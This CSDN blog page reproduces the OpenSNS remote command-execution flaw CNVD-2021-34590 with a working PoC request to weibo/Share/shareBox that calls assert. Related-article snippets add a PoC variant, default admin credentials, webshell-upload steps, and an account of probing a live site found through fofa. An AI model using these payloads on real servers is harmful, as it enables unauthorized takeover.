opensns 命令执行（CNVD-2021-34590）漏洞复现

weixin_42675091

已于 2024-04-03 09:45:57 修改

阅读量1.3k

点赞数

文章标签：安全 java web安全

于 2022-09-23 09:43:27 首次发布

本文链接：https://blog.csdn.net/weixin_42675091/article/details/127004683

版权

1.漏洞描述

OpenSNS是想天科技开发的一款综合性社交软件。 OpenSNS存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。

2.打开页面

3.构造poc

/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule->_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=phpinfo()

关注博主即可阅读全文

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

weixin_42675091

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

漏洞复现 || OpenSNS远程命令执行漏洞

失心少年

07-12

733

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得危害网络安全，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。本文所提供的工具仅用于学习，禁止用于其他！opensns是基于tp3开发的，仅支持php5,漏洞入口在 weibo/share/sharebox,通过 get请求提交query参数,存在变量覆盖的漏洞,攻击者通过漏洞发送特定的请求包可以执行任意命令。1.执行如下POC可执行远程命令。

OpenSNS 文件上传getshell

Jiajiajiang_的博客

08-06

1044

当前版本为OpenSNS V5 首先需要登录到后台，默认密码为admin/123456 可以进行尝试进来后台后，找到上传主题压缩包的地方，也可以直接访问 http://xx.xxx.com/index.php?s=/admin/theme/add.html 在这之前准备一个一句话，当然大马也可以，将你的一句话压缩成一个压缩包。如图所示，记住压缩前马的名字。点击上传主题压...

参与评论您还未登录，请先登录后发表或查看评论

Opensns 命令执行漏洞（CNVD-2021-34590)

小小猪的博客

12-29

3674

Opensns 命令执行漏洞（CNVD-2021-34590) 漏洞描述: OpenSNS 存在远程命令执行漏洞，攻击者通过漏洞发送特定的请求包可以执行任意命令影响版本： OpenSNS v5 环境搭建：在线环境地址访问首页构造poc /index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[m.

opensns v6.2.0前台RCE漏洞分析

weixin_40484719的博客

10-16

3013

最近准备进一步学习下代码审计，因此打算找些历史漏洞分析学习下。（啥时候我也能挖出前台rce呢本次漏洞的入口点在于 Application/Weibo/Controller/ShareController.class.php的shareBox方法。 Application/Weibo/Controller/ShareController.class.php share控制器获取外部输入$query，并将它用parse_str解析后交给$array，这里其实就相当于传入了一个数组。接下...

opensns综合性社交软件系统存在远程命令执行高危漏洞

weixin_68647219的博客

08-01

3526

opensns综合性社交软件系统远程命令执行高危漏洞，该漏洞是由于漏洞入口在 weibo/share/sharebox通过 get请求提交query参数存在变量覆盖，可能导致攻击者通过漏洞发送特定的请求包执行任意命令。

OpenSNS 远程执行任意命令漏洞

未花的博客

12-01

411

status必须等于1，值里必须要app、model、method

红帽杯2021 决赛 opensns 复现

feng的博客

08-05

715

前言因为某些事情，没有参加今年的红帽杯决赛，所以来复现一下决赛的Web题里面的opensns，学习一下思路。复现根据网上的文章进行复现学习。感觉能找到这个洞的师傅实在tql。漏洞点位于Application/Weibo/Controller/ShareController.class.php的shareBox方法： public function shareBox(){ $query = urldecode(I('get.query','','text'));

OpenSNS开源社交系统 v5.7.0

10-14

OpenSNS一款有身份的开源SNS社交系统，包含微博、资讯、活动、论坛、专辑、积分商城、群组、充值中心、问答、分类信息、微店等模块，支持PC端、手机网页版、客户端、微信版

OpenSNS-a5

11-08

不过，由于源码开放，用户和开发者需要注意及时更新到最新版本，以修复可能存在的安全漏洞。总的来说，OpenSNS"a5"版本是一个强大的社交网络建设工具，它不仅提供了丰富的社交功能，还允许用户根据自身需求进行...

OpenSNS-2.6.0安装教程及完整PHP源码下载.txt

07-17

本OpenSNS是php语言的开源社交源码系统，用户交互界面简洁大方，包含功能有微博、论坛、积分商城、群组、充值中心、分类信息、微店等，可以快速搭建社交类网址。

2024HVV在即| 最新漏洞CVE库(1.5W)与历史漏洞POC总结分享！

最新发布

记录开发和安全学习过程中的点点滴滴

04-22

1827

也快到护网的时间了,每年的护网都是一场攻防实战的盛宴,那么漏洞库就是攻防红蓝双方人员的弹药库,红队人员可以通过工具进行监测是否存在历史漏洞方便快速打点,而蓝队则可以对资产进行梳理和监测历史漏洞,及时处理和修复,做好准备.

OpenSNS开源社交系统--文件上传渗透测试复现

CNXBDSa的博客

08-19

1659

前提：在先知社区里面偶然看见了这个漏洞，咱也想试试，就下载了开源的码进行了本地的复现源码信息：OpenSNS开源版漏洞类型：后台getshell 下载地址：http://www.opensns.cn/home/index/download.html 漏洞文件：./Application/Admin/Controller/ThemeController.class.php 第170行可参考这下载安装使用https://www.w3cschool.cn/opensnscourse/laxp1pnw.htm

一次渗透测试......OpenSNS的漏洞

giaogiao123的博客

08-09

1467

fofa上直接找，找到某倒霉的站。直接搜索OpenSNSv 6.2 首先开始试一试前台rce index.php?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=jiang=phpinfo()%26id

openSNS（V2版本）用户身份切换可能产生的bug以及正规流程

F_shan的博客

07-29

953

openSNS V2版本注册用户的身份切换有一个严格的流程，不是通过这个流程切换用户身份会造成登入和提示身份未审核或禁用提示，影响体验。在此我会给出身份切换的流程：

opensns html5,记对OpenSNS的一次代码审计

weixin_29289821的博客

06-28

303

OpenSNS后台文件上传漏铜分析

weixin_30369087的博客

07-06

311

前言　　这几天正在想找个文件上传漏洞分析一波，以加深对文件上传漏洞的理解，正好看到FreeBuf的一片文章记对OpenSNS的一次代码审计，由于其只对漏洞进行复现，故在此进行代码层面的分析。漏洞分析　　已知漏洞产生点：./Application/Admin/Controller/ThemeController.class.php 第170行　　　　跟入upload函数（...

vulfocus——opensns命令执行(CNVD-2021-34590）

m0_62063669的博客

09-29

704

此处的cmd= 只能传参1个，在使用'system'函数空格会导致执行失败，故而使用php中的copy函数直接下载webshell实现RCE。OpenSNS存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。copy(远程文件下载地址,需要下载到的地方)4.也可以通过下载webshell，用工具连接。2.发送特定请求包可以执行任意命令。3.在phpinfo找到flag。

openssl漏洞怎么处理_针对CBC字节反转攻击的研究与漏洞复现

weixin_39546747的博客

11-27

228

作者：Qftm合天智汇CBC 简介现代密码体制现代密码中的加密体制一般分为对称加密体制(Symmetric Key Encryption)和非对称加密体制(Asymmetric Key Encryption)。对称加密又分为分组加密和序列密码。分组密码分组密码：也叫块加密(block cyphers)，一次加密明文中的一个块。是将明文按一定的位长分组，明文组经过加密运算得到密文组，密文组经过解密运...

解析OpenSSL重大安全漏洞

风叶

04-30

3747

2014年4月8日，XP宣布正式停止服务的日子，也是OpenSSL爆出大漏洞的日子。这个漏洞影响30~50%比例使用https的网站，其中包括大家经常访问的：支付宝、微信、淘宝、网银、社交、门户等知名网站。只要访问https的网站便有可能存在被嗅探数据的风险。　　OpenSSL是什么？　　OpenSSL是目前移动互联网上应用最广泛的安全传输方法(基于SSL即安全套接层协议)。它为网络通信提

OpenSNS与畅言第三方评论整合教程

"这篇使用说明主要介绍了如何将OpenSNS系统与第三方评论系统畅言进行完美整合，实现单点登录功能。" 在IT行业中，尤其是社交媒体平台或内容管理系统开发中，集成第三方评论系统是一个常见的需求，以提升用户体验并...

opensns 命令执行 （CNVD-2021-34590）漏洞复现

opensns 命令执行（CNVD-2021-34590）漏洞复现